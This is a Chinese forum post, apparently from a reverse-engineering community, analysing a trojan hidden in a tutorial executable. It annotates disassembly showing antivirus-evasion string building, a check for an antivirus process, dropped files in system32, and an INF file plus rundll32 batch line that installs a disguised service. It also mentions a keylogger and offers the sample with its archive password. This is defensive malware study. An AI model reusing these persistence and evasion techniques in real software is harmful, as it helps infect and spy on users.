某木马的简单分析-by sunflover
本帖最后由 sunflover 于 2013-1-16 13:38 编辑【文章标题】: 某木马的简单分析
【文章作者】: sunflover
【作者邮箱】: sunflover@163.com
【软件名称】: Server.exe
【软件大小】: 169KB
【下载地址】: 见帖尾
【加壳方式】: 无壳
【编写语言】: Microsoft Visual C++ 6.0
【使用工具】: od修改版
【操作平台】: VM Ware XP sp3断网环境
【作者声明】: 只是感兴趣,没有其他目的。失误之处敬请诸位大侠赐教!
--------------------------------------------------------------------------------
【详细过程】
360卫士上说我有18天未杀毒了,于是我就杀了一下C,D两盘,在360沙箱里扫出这个小马。
估计是之前看教程时留下的,就是那种屏幕录象专家录制的exe里,之前听前辈们说过这种很贱的方法,不料今日竟然遇见。
木马图标伪装为系统自带图片查看器所看见的图标,还好我没有隐藏常用扩展名。名字也很白,Server.exe。
这是我第一次分析木马,哪里写的不好,还请大家包涵指正。
1.PEID查壳结果如下:
2.上od,分析。
EP:00402812 载入od,大概一看,主函数入口:00401960,不知道怎么看这个的建议去看幽灵逆向的反汇编教程。
00401960/$55 push ebp
00401961|.8BEC mov ebp,esp
00401963|.81EC 14090000 sub esp,0x914
00401969|.53 push ebx
0040196A|.56 push esi
0040196B|.57 push edi
0040196C|.FF15 28474000 call dword ptr ds: ;Server.0040262A
00401972|.6A 00 push 0x0
00401974|.6A 00 push 0x0
00401976|.6A 00 push 0x0
00401978|.FF15 3C304000 call dword ptr ds:[<&KERNEL32.GetCu>; [GetCurrentThreadId
0040197E|.50 push eax
0040197F|.FF15 2C474000 call dword ptr ds: ;Server.00402618
00401985|.6A 00 push 0x0
00401987|.6A 00 push 0x0
00401989|.8D45 9C lea eax,
0040198C|.6A 00 push 0x0
0040198E|.50 push eax
0040198F|.FF15 44474000 call dword ptr ds: ;Server.004025AC
00401995|.8B35 0C304000 mov esi,dword ptr ds:[<&KERNEL32.Lo>;kernel32.LoadLibraryA
0040199B|.8D4D D0 lea ecx,
0040199E|.B3 65 mov bl,0x65 ;e的ASCII码为0x65
004019A0|.51 push ecx ; /ProcNameOrOrdinal
004019A1|.68 CC444000 push Server.004044CC ; |/kernel32.dll
004019A6|.C645 D0 47 mov byte ptr ss:,0x47 ; ||G
004019AA|.885D D1 mov byte ptr ss:,bl ; ||e
004019AD|.C645 D2 74 mov byte ptr ss:,0x74 ; ||t
004019B1|.C645 D3 4D mov byte ptr ss:,0x4D ; ||下同,取字符,这种手法在这个小马中运用得很多
004019B5|.C645 D4 6F mov byte ptr ss:,0x6F ; ||这样做估计是为了免杀吧
004019B9|.C645 D5 64 mov byte ptr ss:,0x64 ; ||d
004019BD|.C645 D6 75 mov byte ptr ss:,0x75 ; ||u
004019C1|.C645 D7 6C mov byte ptr ss:,0x6C ; ||l
004019C5|.885D D8 mov byte ptr ss:,bl ; ||e
004019C8|.C645 D9 46 mov byte ptr ss:,0x46 ; ||F
004019CC|.C645 DA 69 mov byte ptr ss:,0x69 ; ||i
004019D0|.C645 DB 6C mov byte ptr ss:,0x6C ; ||l
004019D4|.885D DC mov byte ptr ss:,bl ; ||e
004019D7|.C645 DD 4E mov byte ptr ss:,0x4E ; ||N
004019DB|.C645 DE 61 mov byte ptr ss:,0x61 ; ||a
004019DF|.C645 DF 6D mov byte ptr ss:,0x6D ; ||m
004019E3|.885D E0 mov byte ptr ss:,bl ; ||e
004019E6|.C645 E1 41 mov byte ptr ss:,0x41 ; ||拼起来就是GetModuleFileNameA
004019EA|.C645 E2 00 mov byte ptr ss:,0x0 ; ||字符串结束符
004019EE|.FFD6 call esi ; |\LoadLibraryA
004019F0|.8B3D 08304000 mov edi,dword ptr ds:[<&KERNEL32.Ge>; |kernel32.GetProcAddress
004019F6|.50 push eax ; |hModule
004019F7|.FFD7 call edi ; \GetProcAddress
004019F9|.8D55 F4 lea edx, ;以上代码的功能就是获取GetModuleFileNameA函数的地址
004019FC|.8945 B8 mov ,eax
004019FF|.52 push edx
到主程序入口后一路F8往下跟,跟到这里之后发现一个可疑的字符串, RsTray.exe
00401A26|.C645 FE 00 mov byte ptr ss:,0x0 ;以上代码与前面相似,拼接字符串,RsTray.exe
00401A2A|.E8 11F9FFFF call Server.00401340 ;可疑得进程名,百度一下就知道了, RsTray.exe是瑞星卡卡上网安全助手的实时监控程序,猜想是要干掉杀软。
00401A2F|.83C4 04 add esp,0x4
00401A32|.85C0 test eax,eax
00401A34|.74 61 je short Server.00401A97
00401A36|.90 nop
00401A37|.90 nop
我们F7进入00401A2A处的call看看它想怎样,
00401340/$83EC 20 sub esp,0x20
00401343|.53 push ebx
00401344|.55 push ebp
00401345|.56 push esi
00401346|.8B35 0C304000 mov esi,dword ptr ds:[<&KERNEL32.Lo>;kernel32.LoadLibraryA
0040134C|.8D4424 1C lea eax,dword ptr ss:
00401350|.57 push edi
00401351|.B3 73 mov bl,0x73
00401353|.50 push eax ; /ProcNameOrOrdinal
00401354|.68 CC444000 push Server.004044CC ; |/kernel32.dll
00401359|.C64424 28 50 mov byte ptr ss:,0x50 ; ||
0040135E|.C64424 29 72 mov byte ptr ss:,0x72 ; ||
00401363|.C64424 2A 6F mov byte ptr ss:,0x6F ; ||
00401368|.C64424 2B 63 mov byte ptr ss:,0x63 ; ||
0040136D|.C64424 2C 65 mov byte ptr ss:,0x65 ; ||
00401372|.885C24 2D mov byte ptr ss:,bl ; ||
00401376|.885C24 2E mov byte ptr ss:,bl ; ||
0040137A|.C64424 2F 33 mov byte ptr ss:,0x33 ; ||
0040137F|.C64424 30 32 mov byte ptr ss:,0x32 ; ||
00401384|.C64424 31 46 mov byte ptr ss:,0x46 ; ||
00401389|.C64424 32 69 mov byte ptr ss:,0x69 ; ||
0040138E|.C64424 33 72 mov byte ptr ss:,0x72 ; ||
00401393|.885C24 34 mov byte ptr ss:,bl ; ||
00401397|.C64424 35 74 mov byte ptr ss:,0x74 ; ||
0040139C|.C64424 36 00 mov byte ptr ss:,0x0 ; ||拼接字符串Process32First,印证之前猜想,要用Process32First获取RsTray.exe进程的句柄
004013A1|.FFD6 call esi ; |\LoadLibraryA
004013A3|.8B3D 08304000 mov edi,dword ptr ds:[<&KERNEL32.Ge>; |kernel32.GetProcAddress
004013A9|.50 push eax ; |hModule
004013AA|.FFD7 call edi ; \GetProcAddress
004013AC|.8D4C24 10 lea ecx,dword ptr ss: ;获取Process32First函数地址,代码与前面雷同
004013B0|.8BE8 mov ebp,eax
004013B2|.51 push ecx ; /ProcNameOrOrdinal
004013B3|.68 CC444000 push Server.004044CC ; |/kernel32.dll
004013B8|.C64424 18 50 mov byte ptr ss:,0x50 ; ||
004013BD|.C64424 19 72 mov byte ptr ss:,0x72 ; ||
004013C2|.C64424 1A 6F mov byte ptr ss:,0x6F ; ||
004013C7|.C64424 1B 63 mov byte ptr ss:,0x63 ; ||
004013CC|.C64424 1C 65 mov byte ptr ss:,0x65 ; ||
004013D1|.885C24 1D mov byte ptr ss:,bl ; ||
004013D5|.885C24 1E mov byte ptr ss:,bl ; ||
004013D9|.C64424 1F 33 mov byte ptr ss:,0x33 ; ||
004013DE|.C64424 20 32 mov byte ptr ss:,0x32 ; ||
004013E3|.C64424 21 4E mov byte ptr ss:,0x4E ; ||
004013E8|.C64424 22 65 mov byte ptr ss:,0x65 ; ||
004013ED|.C64424 23 78 mov byte ptr ss:,0x78 ; ||
004013F2|.C64424 24 74 mov byte ptr ss:,0x74 ; ||
004013F7|.C64424 25 00 mov byte ptr ss:,0x0 ; ||拼接Process32Next,下面获取他的地址
004013FC|.FFD6 call esi ; |\LoadLibraryA
004013FE|.50 push eax ; |hModule
004013FF|.FFD7 call edi ; \GetProcAddress
00401401|.6A 00 push 0x0 ; /ProcessID = 0
00401403|.6A 02 push 0x2 ; |Flags = TH32CS_SNAPPROCESS
00401405|.8BD8 mov ebx,eax ; |
00401407|.E8 44110000 call <jmp.&KERNEL32.CreateToolhelp3>; \CreateToolhelp32Snapshot
0040140C|.68 28010000 push 0x128 ;上面创建进程快照
00401411|.8BF8 mov edi,eax
00401413|.E8 EE130000 call <jmp.&MSVCRT.operator new>
00401418|.83C4 04 add esp,0x4
0040141B|.8BF0 mov esi,eax
0040141D|.56 push esi
0040141E|.57 push edi
0040141F|.C706 28010000 mov dword ptr ds:,0x128
00401425|.FFD5 call ebp ;(kernel32.Process32First)
00401427|.85C0 test eax,eax
00401429|.74 40 je short Server.0040146B
0040142B|.8B5424 34 mov edx,dword ptr ss: ;"RsTray.exe"
0040142F|.8D6E 24 lea ebp,dword ptr ds: ;
00401432|.52 push edx ; /s2
00401433|.55 push ebp ; |s1
00401434|.E8 87170000 call <jmp.&MSVCRT._strcmpi> ; \_strcmpi
00401439|.83C4 08 add esp,0x8 ;以上利用代码创建进程快照后,检查进程中是否含有RsTray.exe进程
0040143C|.85C0 test eax,eax
0040143E|.75 0B jnz short Server.0040144B ;我虚拟机就一个360卫士,所以这里跳转实现
00401440|>8B46 08 mov eax,dword ptr ds:
00401443|.5F pop edi
00401444|.5E pop esi
00401445|.5D pop ebp
00401446|.5B pop ebx
00401447|.83C4 20 add esp,0x20
0040144A|.C3 retn
0040144B|>56 push esi
0040144C|.57 push edi
0040144D|.FFD3 call ebx ;(kernel32.Process32Next)
0040144F|.85C0 test eax,eax ;下面继续检测进程中是否有RsTray.exe
00401451|.74 18 je short Server.0040146B
00401453|>8B4424 34 /mov eax,dword ptr ss:
00401457|.50 |push eax ; /String2
00401458|.55 |push ebp ; |String1
00401459|.FF15 18304000 |call dword ptr ds:[<&KERNEL32.lstr>; \lstrcmpiA
0040145F|.85C0 |test eax,eax
00401461|.^ 74 DD |je short Server.00401440 ;我虚拟机就一个360卫士,所以这里永不跳转
00401463|.56 |push esi
00401464|.57 |push edi
00401465|.FFD3 |call ebx
00401467|.85C0 |test eax,eax
00401469|.^ 75 E8 \jnz short Server.00401453
0040146B|>5F pop edi
0040146C|.5E pop esi
0040146D|.5D pop ebp
0040146E|.33C0 xor eax,eax
00401470|.5B pop ebx
00401471|.83C4 20 add esp,0x20
00401474\.C3 retn
00401475 90 nop
以上代码可以说是一目了然了,创建进程快照,然后检测 "RsTray.exe"进程是否存在。一路F8走过来,retn后,继续F8,来到以下可疑处
00401AE1|.C645 CD 79 mov byte ptr ss:,0x79
00401AE5|.C645 CE 41 mov byte ptr ss:,0x41
00401AE9|.C645 CF 00 mov byte ptr ss:,0x0 ;拼接GetSystemDirectoryA,用于获取系统特定目录
00401AED|.FFD6 call esi ;LoadLibraryA
00401AEF|.50 push eax
00401AF0|.FFD7 call edi ;(kernel32.GetProcAddress)代码都是一样的
00401AF2|.8D95 F8FDFFFF lea edx, ;(ntdll.KiFastSystemCallRet)
00401AF8|.68 04010000 push 0x104
00401AFD|.52 push edx
00401AFE|.FFD0 call eax ;(kernel32.GetSystemDirectoryA)
00401B00|.8B35 00304000 mov esi,dword ptr ds:[<&KERNEL32.ls>;kernel32.lstrcatA
00401B06|.8D85 F8FDFFFF lea eax, ;"C:\WINDOWS\system32"
00401B0C|.68 C4454000 push Server.004045C4 ; /\
00401B11|.50 push eax ; |ConcatString
00401B12|.FFD6 call esi ; \lstrcatA
00401B14|.8B3D 2C304000 mov edi,dword ptr ds:[<&KERNEL32.ls>;kernel32.lstrcpyA
00401B1A|.8D8D F8FDFFFF lea ecx,
00401B20|.8D95 F4FCFFFF lea edx,
00401B26|.51 push ecx ; /String2
00401B27|.52 push edx ; |String1
00401B28|.FFD7 call edi ; \lstrcpyA
00401B2A|.6A 1A push 0x1A
00401B2C|.E8 4FF9FFFF call Server.00401480 ;调用随机数生成函数
00401B31|.83C4 04 add esp,0x4
00401B34|.83C0 61 add eax,0x61
00401B37|.50 push eax
00401B38|.6A 1A push 0x1A
00401B3A|.E8 41F9FFFF call Server.00401480
00401B3F|.83C4 04 add esp,0x4
00401B42|.83C0 61 add eax,0x61
00401B45|.50 push eax
00401B46|.6A 1A push 0x1A
00401B48|.E8 33F9FFFF call Server.00401480
00401B4D|.83C4 04 add esp,0x4
这里我们来看看00401B2C |. E8 4FF9FFFF call Server.00401480 ; 调用随机数生成函数这个call的实现吧,高手步过。。菜鸟F7步入看看
00401480/$56 push esi
00401481|.FF15 20304000 call dword ptr ds:[<&KERNEL32.GetTi>; [GetTickCount
00401487|.8BF0 mov esi,eax ;获取开机到现在所逝去的毫秒数
00401489|.E8 7E130000 call <jmp.&MSVCRT.rand> ; [rand
0040148E|.83C0 03 add eax,0x3 ;生成随机数
00401491|.33D2 xor edx,edx
00401493|.0FAFC6 imul eax,esi
00401496|.F77424 08 div dword ptr ss: ;处理后的随机数=(随机数+3)*获取开机到现在所逝去的毫秒数/dword ptr ,病毒惯用伎俩,估计后面要生成随机文件名的文件了
0040149A|.5E pop esi
0040149B|.8BC2 mov eax,edx
0040149D\.C3 retn
0040149E 90 nop
这里的算法很简单,不懂汇编指令的朋友可要自己去恶补一下,retn后继续F8至(无关紧要的代码我就不贴了)
00401B6F|.50 push eax
00401B70|.6A 1A push 0x1A
00401B72|.E8 09F9FFFF call Server.00401480
00401B77|.8B1D 54474000 mov ebx,dword ptr ds: ;Server.00402556
00401B7D|.83C4 04 add esp,0x4
00401B80|.83C0 61 add eax,0x61
00401B83|.50 push eax
00401B84|.8D85 FCFEFFFF lea eax,
00401B8A|.68 B0454000 push Server.004045B0 ;%c%c%c%c%c%c.dll
00401B8F|.50 push eax
00401B90|.FFD3 call ebx
00401B92|.83C4 20 add esp,0x20 ;果然,此时堆栈窗口看见文件名"mybtke.dll"
00401B95|.8D8D FCFEFFFF lea ecx,
00401B9B|.51 push ecx ;ASCII "00000000000000000000000"
00401B9C|.68 B4414000 push Server.004041B4 ;cwrmas.dll
00401BA1|.FFD7 call edi ;(kernel32.lstrcpyA)
00401BA3|.8D95 F8FDFFFF lea edx,
00401BA9|.68 B4414000 push Server.004041B4 ;cwrmas.dll
00401BAE|.52 push edx ;"C:\WINDOWS\system32\"
00401BAF|.FFD6 call esi ;(kernel32.lstrcatA)
00401BB1|.8D85 F8FDFFFF lea eax, ;拼接字符串,系统目录+6位随机dll文件名,"C:\WINDOWS\system32\mybtke.dll"
00401BB7|.50 push eax ; /FileName
00401BB8|.FF15 24304000 call dword ptr ds:[<&KERNEL32.Delet>; \DeleteFileA
00401BBE|.6A 1A push 0x1A
00401BC0|.E8 BBF8FFFF call Server.00401480 ;调用随机数生成函数
从00401BB8处看,我认为源代码不够严谨,因为文件名是随机的,所以删除现在的文件名肯定是不成功的。
文件名有了,估计下一步就是创建文件了。
00401C03|.50 push eax
00401C04|.6A 1A push 0x1A
00401C06|.E8 75F8FFFF call Server.00401480
00401C0B|.83C4 04 add esp,0x4
00401C0E|.83C0 61 add eax,0x61
00401C11|.8D8D 4CFFFFFF lea ecx,
00401C17|.50 push eax
00401C18|.68 A0454000 push Server.004045A0 ;%c%c%c%c%c%c
00401C1D|.51 push ecx
00401C1E|.FFD3 call ebx
00401C20|.83C4 20 add esp,0x20
00401C23|.8D95 4CFFFFFF lea edx,
00401C29|.8D85 F4FCFFFF lea eax,
00401C2F|.52 push edx
00401C30|.50 push eax
00401C31|.FFD6 call esi
00401C33|.8D8D F4FCFFFF lea ecx,
00401C39|.68 98454000 push Server.00404598 ;.exe
00401C3E|.51 push ecx
00401C3F|.FFD6 call esi
00401C41|.8D95 F4FCFFFF lea edx, ;拼接"C:\WINDOWS\system32\ycgigg.exe"
00401C47|.52 push edx ; /FileName
00401C48|.FF15 24304000 call dword ptr ds:[<&KERNEL32.Delet>; \DeleteFileA
00401C4E|.8D85 F4FCFFFF lea eax,
00401C54|.50 push eax
00401C55|.68 B4404000 push Server.004040B4 ;监测和监视新硬件设备并自动更新设备驱动。
00401C5A|.68 34404000 push Server.00404034 ;Microsoft Device Manager
00401C5F|.68 14404000 push Server.00404014 ;X6Remote
00401C64|.E8 57010000 call Server.00401DC0
00401C69|.68 14404000 push Server.00404014 ;X6Remote
00401C6E|.8D8D F4FCFFFF lea ecx,
00401C74|.68 B4424000 push Server.004042B4 ;AAAAAA/87xz6eIiIuLp+TL/LOPiYmJiZk=
00401C79|.51 push ecx
00401C7A|.68 94454000 push Server.00404594 ;BIN
00401C7F|.68 90454000 push Server.00404590 ;EXE
00401C84|.6A 00 push 0x0
00401C86|.E8 15F8FFFF call Server.004014A0
00401C8B|.68 14404000 push Server.00404014 ;X6Remote
00401FD7|> /8B95 44FFFFFF /mov edx,
00401FDD|> |8D4D A4 lea ecx,
00401FE0|. |6A 00 |push 0x0
00401FE2|. |51 |push ecx
00401FE3|. |52 |push edx ; /String
00401FE4|. |FF15 30304000 |call dword ptr ds:[<&KERNEL32.lstr>; \lstrlenA
00401FEA|. |8B95 44FFFFFF |mov edx,
00401FF0|. |50 |push eax
00401FF1|. |52 |push edx
00401FF2|. |56 |push esi
00401FF3|. |E8 98F1FFFF |call Server.00401190 ;写exe文件内容
00401FF8|. |83C4 14 |add esp,0x14
00401FFB|. |4F |dec edi
00401FFC|.^\75 D9 \jnz short Server.00401FD7
00401FFE|.56 push esi ; /hObject
00401FFF|.FF15 10304000 call dword ptr ds:[<&KERNEL32.Close>; \CloseHandle
00402005|.B9 40000000 mov ecx,0x40 ;写完后关闭文件句柄
这段代码释放了文件"C:\WINDOWS\system32\ycgigg.exe",至于 AAAAAA/87xz6eIiIuLp+TL/LOPiYmJiZk=这个是什么算法,菜鸟无知,也没有看见解密,看见懂的朋友欢迎点拨,我猜是一个网址,用于下载木马,因为Server.exe只有169KB,这个exe却有20M,很多数据都是用20H填充。
0040209D|.52 push edx
0040209E|.68 A4464000 push Server.004046A4 ;%s\OWy1815552.inf
004020A3|.50 push eax
004020A4|.FFD6 call esi ;wsprintfA
004020A6|.83C4 0C add esp,0xC ;格式化输出"C:\WINDOWS\system32\OWy1815552.inf",下面也是同样的
004020A9|.8D8D DCFAFFFF lea ecx,
004020AF|.8D95 DCFBFFFF lea edx,
004020B5|.51 push ecx
004020B6|.68 90464000 push Server.00404690 ;%s\OWy1815552.bat
004020BB|.52 push edx
004020BC|.FFD6 call esi
004020BE|.8B35 24304000 mov esi,dword ptr ds:[<&KERNEL32.De>;kernel32.DeleteFileA
004020C4|.83C4 0C add esp,0xC
004020C7|.8D85 E4FDFFFF lea eax,
004020CD|.50 push eax ; /FileName
004020CE|.FFD6 call esi ; \DeleteFileA
004020D0|.8D8D DCFBFFFF lea ecx, ;先删除inf文件
004020D6|.51 push ecx ; /FileName
004020D7|.FFD6 call esi ; \DeleteFileA
004020D9|.A1 88464000 mov eax,dword ptr ds: ;先删除bat文件
注释已经够清晰了,不再累赘
00402146|.AA stos byte ptr es: ;再创建inf文件
00402147|.FF95 48FFFFFF call
0040214D|.8B3D 30304000 mov edi,dword ptr ds:[<&KERNEL32.ls>;kernel32.lstrlenA
00402153|.8BF0 mov esi,eax
00402155|.8D45 F4 lea eax,
00402158|.6A 00 push 0x0
0040215A|.8D8D E0FCFFFF lea ecx,
00402160|.50 push eax
00402161|.51 push ecx ; /String
00402162|.FFD7 call edi ; \lstrlenA
00402164|.40 inc eax
00402165|.8D95 E0FCFFFF lea edx,
0040216B|.50 push eax
0040216C|.52 push edx
0040216D|.56 push esi
0040216E|.E8 1DF0FFFF call Server.00401190 ;写inf文件内容
00402173|.83C4 14 add esp,0x14
00402176|.6A 01 push 0x1
00402178|.6A 00 push 0x0
0040217A|.6A FF push -0x1
0040217C|.56 push esi
0040217D|.FF95 40FFFFFF call
00402183|.8D45 F4 lea eax,
00402186|.6A 00 push 0x0
00402188|.8D8D D8F9FFFF lea ecx,
0040218E|.50 push eax
0040218F|.51 push ecx
00402190|.FFD7 call edi
00402192|.40 inc eax
00402193|.8D95 D8F9FFFF lea edx,
00402199|.50 push eax
0040219A|.52 push edx
0040219B|.56 push esi
0040219C|.E8 EFEFFFFF call Server.00401190
004021A1|.83C4 14 add esp,0x14
004021A4|.56 push esi ; /hObject
004021A5|.FF15 10304000 call dword ptr ds:[<&KERNEL32.Close>; \CloseHandle
004021AB|.8B45 08 mov eax,
004021AE|.68 54464000 push Server.00404654 ;My_AddService_Name
004021B3|.50 push eax
004021B4|.8D8D CCF6FFFF lea ecx,
004021BA|.68 4C464000 push Server.0040464C ;%s,,%s
004021BF|.51 push ecx
004021C0|.FF15 54474000 call dword ptr ds: ;user32.wsprintfA
004021C6|.8B35 40304000 mov esi,dword ptr ds:[<&KERNEL32.Wr>;kernel32.WritePrivateProfileStringA
004021CC|.83C4 10 add esp,0x10
004021CF|.8D95 E4FDFFFF lea edx,
004021D5|.8D85 CCF6FFFF lea eax, ;以下为写inf文件内容
004021DB|.52 push edx ; /FileName
004021DC|.50 push eax ; |String
004021DD|.68 40464000 push Server.00404640 ; |AddService
004021E2|.68 28464000 push Server.00404628 ; |DefaultInstall.Services
004021E7|.FFD6 call esi ; \WritePrivateProfileStringA
004021E9|.8B55 0C mov edx,
004021EC|.8D8D E4FDFFFF lea ecx,
004021F2|.51 push ecx ; /FileName
004021F3|.52 push edx ; |String
004021F4|.68 1C464000 push Server.0040461C ; |DisplayName
004021F9|.68 54464000 push Server.00404654 ; |My_AddService_Name
004021FE|.FFD6 call esi ; \WritePrivateProfileStringA
00402200|.8B4D 10 mov ecx,
00402203|.8D85 E4FDFFFF lea eax,
00402209|.50 push eax ; /FileName
0040220A|.51 push ecx ; |String
0040220B|.68 10464000 push Server.00404610 ; |Description
00402210|.68 54464000 push Server.00404654 ; |My_AddService_Name
00402215|.FFD6 call esi ; \WritePrivateProfileStringA
00402217|.8D95 E4FDFFFF lea edx,
0040221D|.52 push edx ; /FileName
0040221E|.68 08464000 push Server.00404608 ; |0x10
00402223|.68 FC454000 push Server.004045FC ; |ServiceType
00402228|.68 54464000 push Server.00404654 ; |My_AddService_Name
0040222D|.FFD6 call esi ; \WritePrivateProfileStringA
0040222F|.8D85 E4FDFFFF lea eax,
00402235|.50 push eax ; /FileName
00402236|.68 F8454000 push Server.004045F8 ; |2
0040223B|.68 EC454000 push Server.004045EC ; |StartType
00402240|.68 54464000 push Server.00404654 ; |My_AddService_Name
00402245|.FFD6 call esi ; \WritePrivateProfileStringA
00402247|.8D8D E4FDFFFF lea ecx,
0040224D|.51 push ecx ; /FileName
0040224E|.68 E8454000 push Server.004045E8 ; |0
00402253|.68 D8454000 push Server.004045D8 ; |ErrorControl
00402258|.68 54464000 push Server.00404654 ; |My_AddService_Name
0040225D|.FFD6 call esi ; \WritePrivateProfileStringA
0040225F|.8B45 14 mov eax,
00402262|.8D95 E4FDFFFF lea edx,
00402268|.52 push edx ; /FileName
00402269|.8D4D CC lea ecx, ; |
0040226C|.50 push eax ; |String
0040226D|.51 push ecx ; |Key
0040226E|.68 54464000 push Server.00404654 ; |My_AddService_Name
00402273|.C645 CC 53 mov byte ptr ss:,0x53 ; |
00402277|.885D CD mov byte ptr ss:,bl ; |
0040227A|.C645 CE 72 mov byte ptr ss:,0x72 ; |
0040227E|.C645 CF 76 mov byte ptr ss:,0x76 ; |
00402282|.C645 D0 69 mov byte ptr ss:,0x69 ; |
00402286|.C645 D1 63 mov byte ptr ss:,0x63 ; |
0040228A|.885D D2 mov byte ptr ss:,bl ; |
0040228D|.C645 D3 42 mov byte ptr ss:,0x42 ; |
00402291|.C645 D4 69 mov byte ptr ss:,0x69 ; |
00402295|.C645 D5 6E mov byte ptr ss:,0x6E ; |
00402299|.C645 D6 61 mov byte ptr ss:,0x61 ; |
0040229D|.C645 D7 72 mov byte ptr ss:,0x72 ; |
004022A1|.C645 D8 79 mov byte ptr ss:,0x79 ; |
004022A5|.C645 D9 00 mov byte ptr ss:,0x0 ; |"My_AddService_Name"
004022A9|.FFD6 call esi ; \WritePrivateProfileStringA
004022AB|.B1 70 mov cl,0x70 ;以上这些都还是在写inf文件内容
004022AD|.B0 20 mov al,0x20
写inf文件内容,其中一次分析的inf文件内容如下
Signature="$WINDOWS NT$"
AddService=X6Remote,,My_AddService_Name
DisplayName=Microsoft Device Manager
Description=监测和监视新硬件设备并自动更新设备驱动。
ServiceType=0x10
StartType=2
ErrorControl=0
ServiceBinary=C:\WINDOWS\system32\qgrzld.exe
00402449|.C645 89 73 mov byte ptr ss:,0x73
0040244D|.C645 8A 00 mov byte ptr ss:,0x0
00402451|.FF15 54474000 call dword ptr ds: ;user32.wsprintfA
00402457|.83C4 0C add esp,0xC ;格式化输出bat文件内容
0040245A|.8D95 DCFBFFFF lea edx,
00402460|.6A 00 push 0x0
00402462|.68 80000000 push 0x80
00402467|.6A 02 push 0x2
00402469|.6A 00 push 0x0
0040246B|.6A 02 push 0x2
0040246D|.68 00000040 push 0x40000000
00402472|.52 push edx
00402473|.FF95 48FFFFFF call ;(kernel32.CreateFileA)创建bat文件
00402479|.8BF0 mov esi,eax
0040247B|.8D45 A0 lea eax,
0040247E|.6A 00 push 0x0
00402480|.8D8D D4F8FFFF lea ecx,
00402486|.50 push eax
00402487|.51 push ecx
00402488|.FFD7 call edi ;(kernel32.lstrlenA)
0040248A|.40 inc eax
0040248B|.8D95 D4F8FFFF lea edx,
00402491|.50 push eax
00402492|.52 push edx
00402493|.56 push esi
00402494|.E8 F7ECFFFF call Server.00401190 ;写bat文件内容
00402499|.83C4 14 add esp,0x14
0040249C|.56 push esi ; /hObject
0040249D|.FF15 10304000 call dword ptr ds:[<&KERNEL32.Close>; \CloseHandle
写出的bat内容我也贴一份出来,这里的bat,与上面的inf文件名都是死的。
rundll32.exe setupapi,InstallHinfSection DefaultInstall 128 C:\WINDOWS\system32\OWy1815552.inf
很显然,下一步就是执行bat,通过bat安装inf,通过inf启动exe。
多说几句,exe启动后,会释放一个21M大小的dll,文件名也是系统目录+6位随机dll文件名,如"C:\WINDOWS\system32\mybtke.dll",这个exe与dll都用了金山的数字签名。之后有键盘动作,他就会生成一个keylog.dat在C:\WINDOWS\system32目录,用于记录键盘,不过记录文件被加密了释放出来的文件我还没去玩它。也不知道是谁这么贱,往课件里藏马,以后大家看exe教程还是沙箱里吧。我贴出样本,大家小心点玩,解压密码:52pojie。
还是第一次写文章,感觉好费时,希望大家多多支持,多提建议,共同进步。
--------------------------------------------------------------------------------
【版权声明】: 本文原创于sunflover, 转载请注明作者并保持文章的完整, 谢谢!
2013年01月16日 AM 03:40:28
贴出金山火眼分析结果:http://fireeye.ijinshan.com/analyse.html?md5=138060de3bec75d6248b9a664342af5d#full
我的udd文件:(如有错误欢迎交流指正)
代码段的配色,看着想当舒服~~ 个人觉得,如果不是学习脱壳,算法方面的高级知识,汇编可学也可不学,不是必修课程。破解无关就是寻找关键判断,找到关键爆破点,事情就好办的多,多调试就会积累一定的经验。 支持楼主了 这个应该是著名远控Gh0st远控改的吧,那个加密数据应该是上线地址吧,base64加密加上自己的一个简单加密算法 不错啊 ,学习了... 个人感觉学汇编只是学底层的原理,这样了解它是怎么工作的,在分析程序就好理解了。 感觉分析的很好,之后我去看看数字签名 willJ 发表于 2013-1-16 21:55 static/image/common/back.gif
这个应该是著名远控Gh0st远控改的吧,那个加密数据应该是上线地址吧,base64加密加上自己的一个简单加密算法 ...
这样一来的话,再分析释放到系统目录的exe与dll应该就可以看见他自己的算法以及上线地址了,回校再看。膜拜willJ大大,感谢点拨! 楼主很强大 我竟然耐心看完了 收益不少 感谢楼主
页:
[1]